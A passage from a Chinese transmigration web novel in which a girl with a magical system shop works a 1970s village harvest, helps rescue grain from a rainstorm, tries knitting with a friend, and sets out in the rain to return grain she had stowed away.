“我也是！” “我也要！” 耿二牛和祝成才也都连忙出声。 程十一嗯了声：“行，晚上到我家说具体的数，现在先把这四个鸡蛋吃了吧！要不然放到晚上，我怕会坏。” 这下三个人谁都没有心理负担了，一人剥开一个鸡蛋。 陈丽娇吃得秀气些，一个鸡蛋分了好几口才吃完。 而耿二牛和祝成才就没那么斯文了，两口一个鸡蛋，吃完后还喝口水顺一顺。 看着那一脸满足的样子，程十一都怀疑自己给出去的不是鸡蛋，而是什么仙丹了。 鸡蛋的出现着实是又吸引了一波仇恨，但程十一不在乎，甚至还享受起了这样的一众艳羡的目光。 吃过饭，四个人都靠着大树闭目休息。 要说多舒服，那肯定不能，但和在太阳底下弯着腰干活相比，这短暂的休息时间还是显得挺珍贵的。 下午上工就更遭罪了。 太阳又热又辣，空气都变得滚烫不少。 开始有人晕倒。 刚开始晕倒还会引起一些轰动，但很快就没人多注意了，最多就是被附近的人将晕倒的人扶到树荫下面休息。 下午上工之前，程十一给了三个小伙伴一人一小盒风油精。 用手指抹一点后擦在太阳穴上，瞬间感觉脑子都清凉了不少。 也得益于这一小盒风油精，就连身体最弱的陈丽娇都坚持干完了下午的活。 随着太阳西沉，即将落山，大家终于听到了下工的哨声。 程十一已经直不起腰来了，猫腰来到大树旁边坐了好一会儿，这才感觉腰是自己的了，又和陈丽娇相互搀扶着往回走。 耿二牛的状态是最好的，走路的时候还虎虎生风的。 “你们先去还工具，我回家做饭。晚饭你们就都别做了，我熬点苞米面粥，配点咸菜对付一口吧！” 耿二牛提议。 程十一没意见，陈丽娇已经连话都不想说了，只是轻轻的嗯了一声。 祝成才则是接过了耿二牛的工具，替他去还工具。 耿二牛一路小跑着回了家，等程十一三人像是丧尸一样回来时，苞米面粥已经煮好了。 这玩意儿很容易做。 虽说现在的苞米面磨得没有后世那么细，但也是很容易熟的食物了。 用冷水搅合开，等到开锅了倒进去，搅合开，免得糊锅，等再开锅就是熟了。 另外三个人回去后洗了手脸，就拿着各自的碗或者饭盒过来。 也不回各自的屋里吃了，就在耿二牛二人的院子里，找个凳子一坐，唏哩呼噜的吃完。 吃完饭，大家的精神头也好了些。 三个人每个人都拿了五毛钱出来，和程十一预定了接下来整个秋收的鸡蛋。 一天一个，水煮蛋，每天早上程十一自己煮鸡蛋的时候顺便煮熟了带上就行。 至于这钱是多是少，大家也没有过多计较，只说了多退少补。 回到自己家，程十一先给灶里点了把火，免得炕太凉，睡在上面不舒服。 之后也不做别的了，拿出浴桶，花了一毛钱买了大半桶的热水，再兑些凉水就这么坐了进去。 微微发烫的洗澡水仿佛打开了身上的每一个毛孔，舒服得程十一忍不住的直哼哼。 虽说戴了手套，可这一天的劳动还是让程十一的掌心有了小小的水泡。 这也不是什么稀奇事，早在前几天上工的时候就出现过。 挑破了，挤出了里面的液体，再擦点碘伏。 做好这些后，程十一也不想别的了，直接爬上炕，钻进被窝。 都没用上一分钟时间，屋里就响起了轻轻的鼾声。 这一觉睡得格外的沉。 本来以为第二天会是神清气爽的醒来，可当第二天的闹钟响起，程十一刚要翻身坐起来时，浑身的酸痛却让她直接痛呼出声。 “妈呀，疼死我了！” 程十一一脸痛苦的蜷缩在被窝里。 身上的肌肉就像是被火车碾压过似的，疼得那叫一个酸爽。 第112章 那个刘知青是不是有毛病？ 程十一是混过末世的人，但她混过的末世那就只是单纯的天灾，可没有影视剧小说里面的丧尸。 可在穿越到平行时空的七十年代后，程十一发现自己竟然看到了丧尸！ 不，就连她自己都成为了丧尸中的一员。 每个人都是僵硬着聊天腿，四肢不协调的走在路上，每个人的脸上也都是一脸的痛苦，龇牙咧嘴的。 那画面，真的是别提有多惊悚了。 邻居四人组里面就只有耿二牛还是正常状态，于是此时此刻，在前往大队部集合的路上，耿二牛直接化身移动人形货车。 身前斜挎着两个挎包，分别是他和祝成才的，里面放着两个人的午饭和水壶。 一只手拎着程十一的篮子，另外一只手则是抓着陈丽娇的挎包和水壶。 “你们仨没事吧？要不要歇一会儿再走？” 看着这三个人的痛苦面具，耿二牛不由得很紧张：“要不你们三个请假吧！休息一天？” “别，别了。” 程十一摇摇头，咬牙抬腿往前走：“我们就是运动量太少了，突然闷头干一天活，肌肉酸痛。休息一天根本不解决什么问题，等再上工了还是一样的痛苦。” 祝成才附和：“是啊，坚持一下，等身体适应这样的劳动强度了就没事了。” 陈丽娇已经疼得脸都白了，压根就不想说话，但也跟着摇了摇头，算是给了回答。 耿二牛想要抓后脑勺，可一抬手才想起来自己手里提着东西，只能作罢。 四个人走得慢，比昨天来的时间要晚一些，本以为已经是最后一批抵达的了，哪曾想到了后才发现人是来了不少，可也有好几个还没来的，就比如孙娟、李娜。 倒也不是程十一有多关注这两个人，实在是他们还没等走到跟前，就已经听见了一阵唠叨声。 闻声看过去，就见另外一个方向走过来了十几个人，都是知青点的知青。 此时正在大肆发唠叨的人正是那老知青刘英华。 “你们看看，要不是因为她们俩，咱们能来这么晚吗？真是的，回头肯定又得人嘀咕咱们知青点都是懒人，想要躲避劳动了。” 一旁跟着的其他人都不吭声，不过脸色看起来都不算好。 刘英华又唠唠叨叨起来，话里话外的都是对孙娟和李娜的埋怨。 眼看着距离社员们越来越近，欧和平听不下去了，低声呵斥道：“刘知青，你少说两句！” “我凭啥少说两句？” 刘英华一下子就瞪了眼睛，怒视着欧和平：“欧和平，你这么护着那两个人干啥？你是不是看上她们中的哪个了？你这样对得起……” “够了！” 欧和平见刘英华不仅没有要收声的意思，反而还声音越来越大，眼看着看过来的眼神越来越多了，欧和平的火气也爆了出来：“秋收第一天辛苦，他们新来的知青身体受不住这不是很正常的吗？你忘了当初你下乡后第一天秋收是啥样的了？” 这话让刘英华的声音戛然而止，瞪大了眼睛看着欧和平，满眼都是难以置信。 欧和平瞪了她一眼，想要直接走人，可又想到两个人的关系，不得不又压下了火气，低声说道：“我知道你心里不痛快，回头等秋收结束了我带你去国营饭店吃饭好好补一补，现在就少说两句吧！” 原本已经要更加爆发的刘英华一听这话，瞬间火气消散大半，哼哼了两声：“这可是你说的啊！可不能说话不算数。” “我啥时候说话不算数了？行了行了，赶紧集合去吧！” 欧和平烦躁得不行。 心里一边埋怨新知青们不争气，又一边生气刘英华不懂事。 当着这么多人的面和自己闹，自己要是不顺着不哄着点儿，回头指不定又要出什么事。 自打这批新知青到了后，他们知青点就天天的没个消停。 要不是看在做点长还能有点钱拿，他是真想撂挑子不干了。 余光扫到走过来的四个人，欧和平转头看过去，刚好和程十一四人的眼神对上。 有那么一瞬间，欧和平很尴尬，尴尬得恨不能脚趾扣地。 也不知道那四个人听到了刚刚的对话没，要是听见了，会不会误会自己？ 欧和平的视线在陈丽娇的脸上多停留了两秒钟。 真是失算了，要是早知道在刘英华后面还会来这么好看，还很有钱的知青，当初自己就不…… 唉…… “你想啥呢？赶紧走啊！” 刘英华注意到欧和平的视线落在那四个知青身上的时间有点长，当即就不高兴了，扯了下欧和平的袖子：“看啥呢，人家可和咱们不一样，都搬出去住了，你可别想着你这个点长还能管得住他们。” 欧和平被吓了一跳，赶紧朝着旁边挪了挪，拉开了和刘英华的距离，面色不虞的提醒：“别拉拉扯扯的，这么多人看着，你不要名声了？” 刘英华张了张嘴，想反驳，可欧和平已经大步朝前走去。 看着欧和平的背影，刘英华气得跺了跺脚，又狠狠地瞪了程十一和陈丽娇一眼。 真是的，她是不要名声吗？她就是太想要名声了，这才会当着这么多人的面表现出来和欧和平的关系亲近。 他们俩的关系都发展到现在了，要是欧和平还不娶自己，自己的名声才叫彻底没了。 真是的，来新知青就来新知青，怎么还分来了长得好看还有钱的女知青啊！ 要照这样发展下去，万一欧和平被那两个狐媚子给勾走了，自己咋办？ 越想，刘英华的心里就越堵得慌，同时也越发着急想要和欧和平把婚事定下来。 只要他们两个结婚了，到时候就不怕有人惦记了。 程十一走了这一路，感觉腿脚已经缓过来些了，难受还是难受的，但能忍受，不再像是丧尸那样了。 陈丽娇也好了点，但脸色依旧有些发白。 程十一挽着陈丽娇的胳膊满脸不解：“刚刚那个刘知青是不是瞪咱俩了？她是不是有毛病？没事闲的瞪咱俩干啥？” 第113章 小程知青，你咋冒出来了？ 陈丽娇压根就没注意，听到程十一的话后才朝着刘英华的方向看，但也只看到刘英华匆匆往前走的身影。 “不知道，大概是眼红咱们能自己搬出来住吧！” 陈丽娇说话都是有气无力的。 程十一叹气：“娇娇姐，晚上用热水泡泡脚，把炕烧热乎点，应该能解乏。” 其实这个法子她昨天就说过了，但晚上回去后她也很累，所以也就没去陈丽娇那院子看。 陈丽娇闷闷的嗯了声，没再说什么。 反倒是耿二牛突然说道：“那个刘英华和点长好像是在处对象，估摸着是看你俩长得好看，所以吃醋了。” 这话的声音很低，就只有他们四个能听见。 程十一惊讶：“啊？他俩是一对儿？” 耿二牛点头。 祝成才则是解释道：“之前在知青点住的时候男知青们提过几次。” “哦哦，这样啊！” 程十一了然点点头，又耸耸肩：“那她这醋吃得可真是一点都没必要了。我和娇娇姐的眼光很高，可看不上那样的。” “噗嗤！” 陈丽娇实在是没忍住，直接被逗笑了：“你个小丫头才多大，就知道眼光不眼光的了。” “切，那有啥不知道的！反正我找对象肯定不找那样的。” 程十一可是半点都没有什么娇羞不娇羞的感觉。 要不是怕说出自己压根不想找对象这种话会惊到小伙伴们，她甚至都想说男人只会影响她赚钱的速度呢！ 耿二牛和祝成才对视了一眼，俩人默契的低头不吭声。 这话他们俩真没法接。 好在也到了集合点了，也不需要闲聊，等着上工就好。 …… 秋收的时候最怕遇到什么？ 下雨天。 转眼到了秋收的第七天了，一直都是明媚的天气在这天早上开始发生了变化。 程十一被闹钟叫醒时睁开眼，经过这几天的淬炼，她的身体已经没有最开始的那么酸痛了。 可今天一睁眼，程十一就感觉不太对劲。 光线不对。 虽说之前每天这个时候起来屋里的光线也是很暗的，但今天是尤其的暗，感觉好像天才蒙蒙亮。 看看时间，没有错。 掀开窗帘看一眼，程十一明白了。 外面的天空是黑压压的乌云，地面虽说还是干爽的，没有下雨，但这样的天气已经代表了很有可能会有一场大雨。 这可不是什么好事。 程十一也顾不上洗漱了，连早饭也想不起来做，跑到院子就喊陈丽娇。 这段时间大家的生物钟也都形成了规律，即便是今天的天色比以往都要暗，可被程十一这么一喊，别说是陈丽娇了，就连另外院子的两个男知青也都听见了声音，赶忙都爬起来。 “估计要下大雨了，咱们赶紧去扬场那边看看。” 程十一说完就往屋里跑。 早饭可以不吃，但外衣还是要穿的，总不能就穿着睡衣睡裤的去干活，真会吓着人的。 另外三个人也明白秋收时间下大雨意味着什么，这个时候谁都不敢拖延，赶忙套上衣服，锁了门就往扬场跑。 与此同时，扬场上已经有不少社员在忙活了。 虽说晚上的时候晒的粮食会被堆起来，还会盖上稻草防潮，可那也只是针对露水，要是下雨了，那点遮挡可不够用。 粮食就是大家的命，这种时候压根不用人催，但凡醒过来发现天气不对的全都自发的跑过来帮忙。 多收一粒粮食回来，大家就能多吃一粒米。 程十一四人来的时候就看到大家正在将被一堆堆的粮食往大队部后面的仓库搬。 有只穿了一条裤子，直接光着膀子在干活的，也有披头散发的在忙碌着。 头上，身上全都沾染了稻草屑，可没一个人顾得上。 顾草根也在。 不仅顾草根，就连大队里的老支书，那个传闻很少露面的老领导这会儿也在。 之前请客吃饭的时候本来也要请老支书的，不过听说他老人家最近身体不舒服，没来吃饭。 这会儿他老人家顶着一头花白的头发也在忙着搬运粮食。 程十一四个人一路跑过来都有些喘。 都来不及缓一口气，四个人就立刻加入到了搬运粮食的队伍。 有人注意到了突然多出来的知青，很是诧异，不过很快就不再关注，继续搬粮食。 对于大家诧异的眼神，程十一四个人就当没看见。 “轰隆隆！” 天边突然传来沉闷的雷声，听得众人心头一颤，不由得加快了手里的动作，恨不能将两条腿倒腾出残影来。 程十一看着还有一小半的粮食没有搬完，心里也是着急。 直接明目张胆的用系统仓库搬运肯定不行，只能是暗戳戳的操作。 程十一直接抢过来祝成才的扁担：“你去帮娇娇姐，她一个人拎不动，你俩一起！” “啊？哦哦！” 祝成才被抢了扁担，还有点反应不过来，只是下意识的朝着陈丽娇的方向跑。 程十一则是扛着扁担，抓着两侧的筐就冲向了距离大队院子最远的粮食堆。 她个子小，绕到粮食堆后面直接就给隐藏起来了。 一边拿着锹往筐里装粮食，一边留意四周，快速的将一部分粮食收进系统仓库。 等到两个半人高的大筐装满了粮食后，程十一就将锹一扔，担起扁担，双手抓着两个筐的边沿，一个提气。 真沉啊！ 程十一知道自己装的粮食有点满，紧紧控制在了不会让粮食洒出来的程度。 可这份量是不是有些过于沉了？ 好在这副身体本身就有些力气，加上这段时间好吃好喝的养着，还有上工锻炼身体，担起这两个大筐来倒是也能走。 这会儿这堆粮食的另外一侧也有人在忙着装粮食了，突然看到三个身影，不，是一个不高的瘦小身影担着两个大筐绕出来，大家都被吓了一跳。 “妈呀，小程知青啊，你，你这咋突然冒出来了？” 被吓到的是个婶子，拍了拍心口，接着又道：“你咋整这老多啊？快放下，我叫人过来担！” “婶子，不用，我可以，你赶紧装粮食吧！” 程十一嘴上应着，脚步没停。 不算很快，但很稳的朝着大队院子里走。 那婶子看着程十一的小小身影担着那么两个大筐往里走，鼻子突然就有些发酸。 她以后再也不嫌弃知青只会躲懒不干活了，至少小程知青就是个好的！ 第114章 顾同志，是你啊！ 两筐粮食，份量十足，随着程十一走动，肩上的扁担一上一下的颤。 这个时候是在和老天爷抢时间，程十一虽说平时对于分享食物这件事也不算是很小气，但在这样的大事情面前，她是真的半点不收敛，走路的速度也是尽可能的快。 可动作快了，就免不了会忽略一些细节。 脚下踩到了颗石头，一滑，整个人连带着两筐粮食都朝前趔趄了下。 如果放在平常，这样的趔趄也不算什么，很快就能站稳，可现在有了两筐粮食的份量在，直接导致了程十一整个人都重心不稳，压根来不及调整。 眼看着就要摔了，程十一惊得差点尖叫出来。 只是这一声尖叫到底没有喊出来，因为她被人抓住了后衣领。 突然勒住了命运的喉咙，愣是让程十一发不出声音来。 “小心些。” 身后响起一个男人沉稳的声音，还有点耳熟。 接着就感觉肩膀一轻，扁担脱离了自己的肩头。 程十一站稳，转头看，就见一个高大的身影已经将扁担担了起来。 “是你！” 程十一很惊讶，没想到救了自己和粮食一把的人竟然是顾青。 此时的顾青没有穿之前的那身板正的军装，而是穿着绿色的背心。 因为没有了那么多布料的遮挡，能够清楚的看到两条胳膊上紧致的肌肉，甚至能看到那贴身的背心下面显出来的肌肉纹理。 好……结实的身材！ 程十一都有点看傻眼了。 顾青嗯了声：“你去帮忙装粮食。” 说完，顾青便担着两筐粮食快步朝前走去。 那速度，真是程十一这种小短腿无法比拟的。 “啧，腿长了不起啊！” 程十一翻了个白眼，同时又不得不承认自己是真的羡慕了。 要是自己也有那么长的两条腿，那速度肯定要快很多，没准儿也不会出现刚刚的那种情况。 但也就只是羡慕了那么一下，程十一立刻调转方向，跑回去帮忙装粮食。 当下什么都不重要，抢救粮食才是重中之重。 顾青将两筐粮食送到了仓库，回来的时候筐已经是空的了，他的速度又快了不少。 等回来时，远远的就看到了那抹瘦小的身影。 看起来是真的很瘦很小，好像和大队上十二三岁，最多差不过十四岁的孩子差不多。 但就是这么小的一个身影，此时却在奋力的铲着粮食往筐里装。 有那么一瞬间，顾青甚至都感觉程十一手里的铲子都比她高。 下意识的，顾青拎着两个空筐就朝着程十一走了过去。 恰好此时程十一和另外一个大娘刚将一个人的筐装满，看到又有空筐放下来，她连头都没抬一下，抡起胳膊就往里面装粮食。 顾青见这小丫头的头发乱七八糟的，就跟鸡窝一样，鬓边的碎发被汗水湿透，这会儿正贴在她的脸颊上。 那张小脸儿上面是认真严肃，和之前在大队长家看的样子，和在牛车上看到的样子完全不同。 也不知怎么的，顾青就这么看直了眼，直到对上那个人的眼睛，他这才猛地回神。 程十一已经将筐装满了，却不见有人将筐抬走，这才抬起头，顺势擦了一下额头上的汗：“想啥呢？赶紧抬走！” 看清来人，程十一也愣了下：“顾同志啊！赶紧的吧！” 她真不知道这人是顾青，要是早知道，她刚刚的语气就不那么冲了，不管怎么说人家刚刚也是救了自己。 顾青点点头，赶紧担起两筐粮食就走，就是那心情有点乱。 他刚刚怎么盯着人家小姑娘看了那么久？还好没人发现，要不然影响了人家的名声可就不好了。 雷声越来越近，风也刮起来了。 随着风越来越大，原本还能感觉到的一点凉爽瞬间就被乌烟瘴气的空气取代。 不少人都被吹迷了眼睛，但也只来得及揉一下就顾不上了。 扬场上的粮食越来越少，终于，已经抢收上来的粮食全都运到了仓库里。 至于地里还没收上来的庄稼，虽说也让人揪心，可现在也不可能冒雨去收。 哗啦啦！ 豆大的雨点终于落了下来，砸在皮肤上还有点疼。 顾草根冲了出来，大吼道：“行了，都快回家去！别着凉了！” 大家呼啦啦的全都散了，朝着各家的方向跑。 程十一找到了陈丽娇三人，每个人此时的状态都很狼狈，不过在碰面后，四个人却是齐齐的露出了大白眼，全都是一种很满足的笑。 “走吧！回家去！” 程十一一挥手，另外三个人立刻跟上。 四个人也是一路小跑着往回赶，可就在他们身后，程十一听到了另外的脚步声。 回头看了一眼，不由得惊讶。 跟上来的竟然是顾青。 顾青也看到了程十一在看自己，只是点点头，并没有说话，程十一也以点头回应，接着加快速度往前跑。 不跑不行啊，这雨太大了。 等回到家里时，程十一的衣服已经全部被打湿。 刚一进屋，程十一就忍不住打了个喷嚏。 “可别感冒啊！” 程十一一边说着，一边蹲下点火。 她是能从商城里买现成的热水，可炕得烧。 干活，出汗，吹风，被雨拍，这一系列的经历可是很容易感冒的。 灶里的火点上了，程十一从商城里买了四块巴掌大的姜，又拿了一包红糖，之后撑着一把黑色雨伞，就这样出了自家院子。 先到了陈丽娇家。 陈丽娇已经换上了干爽的衣服，这会儿也在灶台前点火，看到程十一来，她很诧异：“你咋这会儿过来了？妈呀，连衣服都没换，你不怕生病啊！赶紧进来！” 见程十一还穿着刚刚的湿衣服，陈丽娇一下子就急了。 程十一却没进屋，而是将一块姜和红糖塞给对方：“煮姜糖水喝，多喝些，千万别着凉了。” 说完转身就跑，另外两个小伙伴也得喝，当然了，两个大男人就只喝姜水就行了，红糖什么的，怪贵的，他们就不用喝了。 陈丽娇看着程十一撑着伞转身跑的身影，又低头看了看手里多出来的一包红糖和一块鲜姜，鼻子不由得一酸，眼泪唰的一下就落了下来。 十一妹妹真是太好了，她以后一定要更加更加努力的对十一妹妹好才行！ 第115章 下雨天适合干点啥？ 下雨就是最好的指令，放假指令。 除了一些老庄稼把式实在不放心地里的庄稼，会披着蓑衣去田里看看外，其他人都是默契的留在家里。 程十一泡了个热水澡，换上了干净的衣服，连头发也都擦干了，最后还喝了一碗热乎乎的红糖姜水，这才钻进被窝里。 喝了一大碗红糖姜水，这会儿也不饿了，她就趴在被窝里补觉。 只是也不知道是不是早上忙活得过于投入，以至于翻腾了好一会儿了也睡不着。 睡不着也不起。 被窝里太热乎，让人根本舍不得离开分毫。 不过不出被窝能做的事也很多，就比如逛商场。 程十一：统统，你这里有高考恢复后的第一年试题吗？ 系统好半天才回道：亲爱的主人，天色还没完全亮，我建议你再多睡会儿。 程十一不明所以，脱口就道：我这不是实在睡不着才和你聊天的么！ 系统：可是我真的强烈建议主人你赶紧睡觉，如果睡不着，那就买促进睡眠的药物吧！毕竟睡着了才能做梦，而梦里啥都有。 此时此刻，程十一才算彻底反应过来，明白了系统这话的真正意思是什么。 也就是说，商城里没有这种真题出售呗！ 没有就没有，还整的弯弯绕绕的，真是一点都不可爱！ 程十一刚想吐槽，就听系统又道：主人，咱们商城里的商品种类齐全是齐全，但统统还是想提醒你一下，咱们商城的存在是为了能让主人你的生活质量得到提高，而不是让你钻营那些，比如高考。 系统：恢复高考这件事对于这个时代的很多人来说都是翻身的救命稻草。虽然主人你冰雪聪明，学什么都快，可这也足够主人你碾压他们了，所以统统建议你最好不要再去想什么考试试题之类的事情了。 程十一：…… 感觉自己被骂了，但又好像没完全被骂，好像被夸奖了，但夸奖得似乎也不是那么的真诚。 不过被系统这么一说，程十一也不想和系统继续闲聊下去了。 睡还是睡不着的，那就找点事情做吧！ 不用下地，就在被窝里或者炕上就能做的事。 程十一抓了抓下巴，翻看起了系统仓库里的东西。 虽说自己都是随手收进来的，没有做过任何整理，但在火车上时，自己曾经扫过那些钱票之类的。 就从那天开始，仓库里的东西就会被系统归类摆放好。 只有五十平米的空间被系统规划得井井有条。 视线扫过了摆放衣物的区域，程十一看到了摆放在一起的毛线。 并不是毛线球，而是一捆一捆的。 有两捆大红色，还有两捆墨绿色。 这些都是从王家收进来的，应该是给那四个孩子准备的吧！ 也可能不是，反正无论怎么样都不会是给原主准备的。 程十一眨巴眨巴眼，突然就有点想自己织件毛衣穿了。 天气越来越凉，但又不是一下子入冬，也不可能一下子就穿大棉袄，有件毛衣穿还是挺必要的。 商城里倒是也能买到现成的，可谁让她现在有时间呢！ 将一捆红色毛线拆开，从中间撑开，变成了个椭圆形，之后挂在自己的两只脚上。 一手扯着一个线头，开始一圈圈的缠。 得将毛线缠成毛钱球，要不然就那么一捆摆在那，用不了多会儿就会变成一团乱糟糟的线。 这种活程十一记得很小的时候做过，不过她都是负责撑毛线的那一个。 突然又做回这样的事，程十一还真感觉有点新奇。 只是毛线球只缠了个拳头大小，就听见有人喊自己。 大门落了门闩，外面又是打雷又是下雨又是刮风的，还真听不见有人敲门。 现在听见有人喊自己了，那就只有一种可能，是陈丽娇隔着院墙叫自己。 程十一赶忙将毛线放下，穿上拖鞋就出了屋，站在厨房门口问：“娇娇姐，你喊我？” “十一，你在家干什么呢？要不要来我这里待会儿？” 陈丽娇也是收拾完了，自己在家觉得没什么意思，就想叫程十一过来。 程十一打开立在一旁的黑色雨伞来到院墙旁边，同时手里又多了一把一模一样的黑色雨伞：“娇娇姐，你来我这里吧！我正好找你帮忙。” 说着，就将那把新雨伞顺着墙头递了过去。 她也不知道陈丽娇有没有雨伞，还是递过去一把，万一没有也不至于让人淋雨过来。 至于来接雨伞会不会被淋着，那就不是她该考虑的事了。 雨伞被接走，又去将大门的门闩打开，程十一转身就回了屋。 舀了一瓢温水，将脚伸出房门冲了冲，连带着拖鞋也冲了下，这才回屋，坐在炕头晃悠着两个脚丫子晾干。 屋里的光线其实并不亮，程十一自己坐在窗户旁边缠毛线倒是没什么问题，可如果陈丽娇来了，屋里还是这么暗，总感觉不是很舒服，所以程十一直接拿出了油灯。 油灯上面有灯罩，倒也不怕有什么灰烬之类的到处乱飞。 陈丽娇一进屋，看到的就是程十一穿着一身白底碎花的睡衣睡裤坐在炕上，肩膀上披着被子，面前摆着一张桌子，桌子上面点着油灯忙碌的画面。 “你这是干什么呢？” 陈丽娇将身上的雨衣脱下来，挂在了屋门上，自己则是脱鞋上炕。 程十一抬头看了她一眼：“缠毛线，想织件毛衣穿，你来得正好，帮我撑着点。” 两只脚倒是也能撑，但那样就意味着脚丫子不能伸进被窝里暖和了。 陈丽娇动作不停，嘴上却发出了惊呼：“你还会织毛衣？太厉害了！” 程十一给自己脚丫子盖被的动作一顿。 她就只想着织毛衣打发时间了，倒是忘记了她好像不会织毛衣…… 有点尴尬。 但问题不大。 程十一轻咳一声，道：“我不会，不过我有织毛衣的书，到时候跟着学呗！” 一边说，一边飞快的在商城里搜织毛衣的相关书籍。 这个是真的有，程十一之前看到过，但没当回事。 陈丽娇倒是没怀疑，反而还兴致勃勃的问：“那我能不能也看看，跟着学学啊？” 第116章 总感觉好像忘了点什么事 外面大雨滂沱，小屋里面却是一片温馨。 两个女孩儿并排坐着，对着小桌子上摆着的一本书，拿着毛线针和毛线比比划划。 最后俩人终于齐齐叹气。 “算了吧，娇娇姐，咱俩都没这天赋。” 程十一是真没想到织毛衣这么费劲，明明以前她织过围脖的，那个很简单。 有神器在，绕一绕，再转一转，一天一条毛巾完全不是事儿。 可真的要用毛线针一针一针的织出来，才发现这玩意儿真不是她这样的人能干得出来的。 陈丽娇也有些泄气，但却不死心：“我拿回去试试，肯定能学会！” “行吧！你晚上吃啥？” 程十一看了下系统上的时间，嗯，很好，都下午快四点了。 再看看窗外，大雨还在下，完全没有要停的意思。 抓了抓下巴，程十一总感觉自己好像忘记了什么。 陈丽娇现在满脑子都是学织毛衣，压根就不饿：“我早上吃剩下的饭还有，回去热一下就行了，你要不要跟我过去吃一口？” “不了，我随便对付一口吧！” 看着窗外的大雨，程十一就很不想出去。 之前一直忙着学习织毛衣，注意力被吸引住了，所以还没什么感觉，现在天黑了，又没学会织毛衣，注意力被分散，她就有些焦躁。 这样的天气让她想起了上辈子的天灾。 瓢泼的大雨，一天接着一天的下，很快整个城市都变成了一片水城…… “十一？十一？” 耳边突然响起陈丽娇的招呼声。 程十一回神，看向对方：“咋了？” “怎么还愣神了？那你不吃我就回去了啊！” 陈丽娇就是想和程十一打个招呼再离开，哪曾想这人却看着窗外愣神了。 程十一点点头，有些没精神的摆摆手：“帮我把大门关上就行，等下我去落门闩。” “行，你别忘了就好。” 陈丽娇将针插在毛线球里，又将书抱在怀里，这才往外走。 看着陈丽娇的身影走过院子，最后消失在大门，程十一这才长长的叹了口气，又拍了拍自己的脸，打起精神来给自己鼓气：“程十一，别乱想，现在不是那个时候了，这就是一场再普通不过的大雨！” 连着反复说了三遍，程十一这才终于缓过来些。 对付一口是不可能对付一口的。 这种天气，连气味都不好往外散，这种时候不给自己做好吃的，那还等什么时候做好吃的？ 可问题是，吃什么好呢？ 打开了系统商城，随意的翻看着，程十一突然就看到了火锅底料。 对哈，这样的下雨天就应该吃火锅！ 想到就做！ 程十一麻利的下了炕，先给灶里添了把柴，之后就回到炕上。 一个人的火锅不需要太大的阵仗，连地上的大桌子都不用，直接小炕桌就可以搞定。 酒精炉点上，上面坐上个小锅，就连食材都是直接从商城里买的现成的。 还别说，商城里的商品包装是真的人性化。 有大份的，也有小份的。 高钙羊肉，这个来一份！ 肥牛？必须来一份！ 再来一份鲜鸭血。 菌菇拼装？这个必须要有啊！ 挑来选去，小炕桌放不下了。 没关系，放炕上！ 等全都摆放好了，锅里的水也烧开了。 清水锅，配上芝麻酱之类的调料，一口羊肉下肚，那滋味别提有多美妙。 一杯冰镇酸梅汤就摆在一旁，喝上一口酸酸甜甜，真是解腻极了。 一顿饭从开始到吃完，一共没用上半个小时时间。 食材没剩多少，但程十一也没扔了，反而是重新打包放进系统仓库里，回头想吃的时候再拿出来。 粮食这东西，绝对不能浪费。 吃饱了就躺在炕上望着屋顶发呆。 还是无聊。 索性打开了系统商城继续看，看着看着，突然就想到了什么，赶紧打开了仓库。 这一看，程十一噌的一下坐了起来。 她就说好像忘记了什么事吧，果然，还不是一般的事呢！ 早上搬运粮食的时候偷偷运了一些粮食在仓库里，就想着等到存放粮食的地方了再拿出来，结果半路上杀出来个顾青，将扁担接过去了。 后来忙活忙活的，这件事就被自己完全给忘记了。 看了眼窗外的雨天，程十一很纠结。 这是公家的粮食，和末世里的零元购可不一样，如果就这样被自己昧下来，程十一有点过不去心里的那一关。 但这个天出去送粮食，总感觉有点难为自己了。 思想斗争了几分钟时间，程十一最终还是下了炕，拿出了雨靴，又将从王家收来的黑色雨衣穿上，这才出了门。 临走的时候还没忘了给大门上锁。 这种天气下，出来走动的人可能少，但万一有呢！ 更何况大雨滂沱的，万一真有人摸进自己家里偷东西，回头连个痕迹都留不下，那可就亏大了。 这个时代的雨衣特别厚重，不过保温效果也确实是不错。 加上这副身体的身量小，雨衣套上去后直接罩在了雨靴上面。 只要不提起衣摆，不摔倒，不往深坑里跳，靴子里面绝对是干干爽爽的。 就是这雨实在是太大了，哪怕是有帽檐遮挡，程十一的脸也还是被雨水糊了一脸。 越走，她就越后悔。 完全可以等雨停了再找机会还回去吧！ 可人都已经出来了，现在再回去好像更亏，算了，还是坚持往前走吧！ 一路上确实没看到什么人，就连路过的人家院子里都没有人走动。 倒是每家每户的屋子里都有那么一间屋子或者两间屋子有光亮。 这也是没办法的事，天不放晴，这就让屋里的光线更低了，不弄点亮光出来，那屋里就跟大半夜似的，干点什么都不方便。 倒是各家各户的烟囱里都有烟往外冒。 算算时间，这个时候也是该吃晚饭了。 程十一东想西想的来到了大队部。 大队部的门都是关着的，窗户也都是落了窗板，一点光亮都没有。 程十一倒是不意外，这种天气谁不在家待着啊！ 有几个能像她这么勤快善良的好心人，冒着大雨来还粮食。 唉，真的是被自己感动到了呢！ 第117章 撬锁？有人来了！ 感动不超过两分钟，程十一就傻眼了。 大队部没人，门都上了锁，这让她怎么进去送粮食？ 撬锁吗？ 想到自己仓库里的万能钥匙，程十一掌心一翻，万能钥匙瞬间出现。 正在她狗狗祟祟的想要去撬锁时，突然听到系统的尖叫声：“主人主人，有人来了！你快藏起来！” “啥玩意儿？” 程十一脑子嗡的一下，赶忙将万能钥匙收进仓库，正想着要藏起来，就听见有人喊：“谁在那？” 程十一身体一僵，随即转身看过去。 就见一个披着蓑衣的男人朝着自己走过来。 为什么知道是男人？ 因为那人的一嗓子。 程十一定了定心神迎了上去，这才看清来人，原来是大队长顾草根。 “大队长，你咋过来了？” 程十一心虚，所以主动出击。 顾草根看清了程十一的样貌后，直接皱眉：“你咋在这啊？大雨天你不在家猫着，跑这里来干啥？” 袖子下面的小爪子相互抠了抠，表面上却淡定得很的程十一说道：“我来看看有没有雨水吹进来啊！这些粮食我也出了力呢，万一被雨水泡了咋办？” 这话说得那叫一个理直气壮。 顾草根总感觉哪里不对劲，但是看着小丫头那一脸傲娇的表情后，他又觉得肯定是自己想多了。 “行吧，一起看看吧！” 顾草根也是怕仓库这边会有漏雨，所以才会冒雨过来查看。 程十一赶忙让开路，跟着顾草根朝着仓库的方向走。 看着顾草根将门锁打开，程十一心里长舒了一口气。 还好自己还没来得及动手，要不然真是掉进黄河都洗不清了。 仓库的门一开，就有一股子麦子的气味，程十一闻了闻，只感觉一阵舒服。 果然，粮食在什么时候都是让人特别踏实的存在，就算是气味也一样。 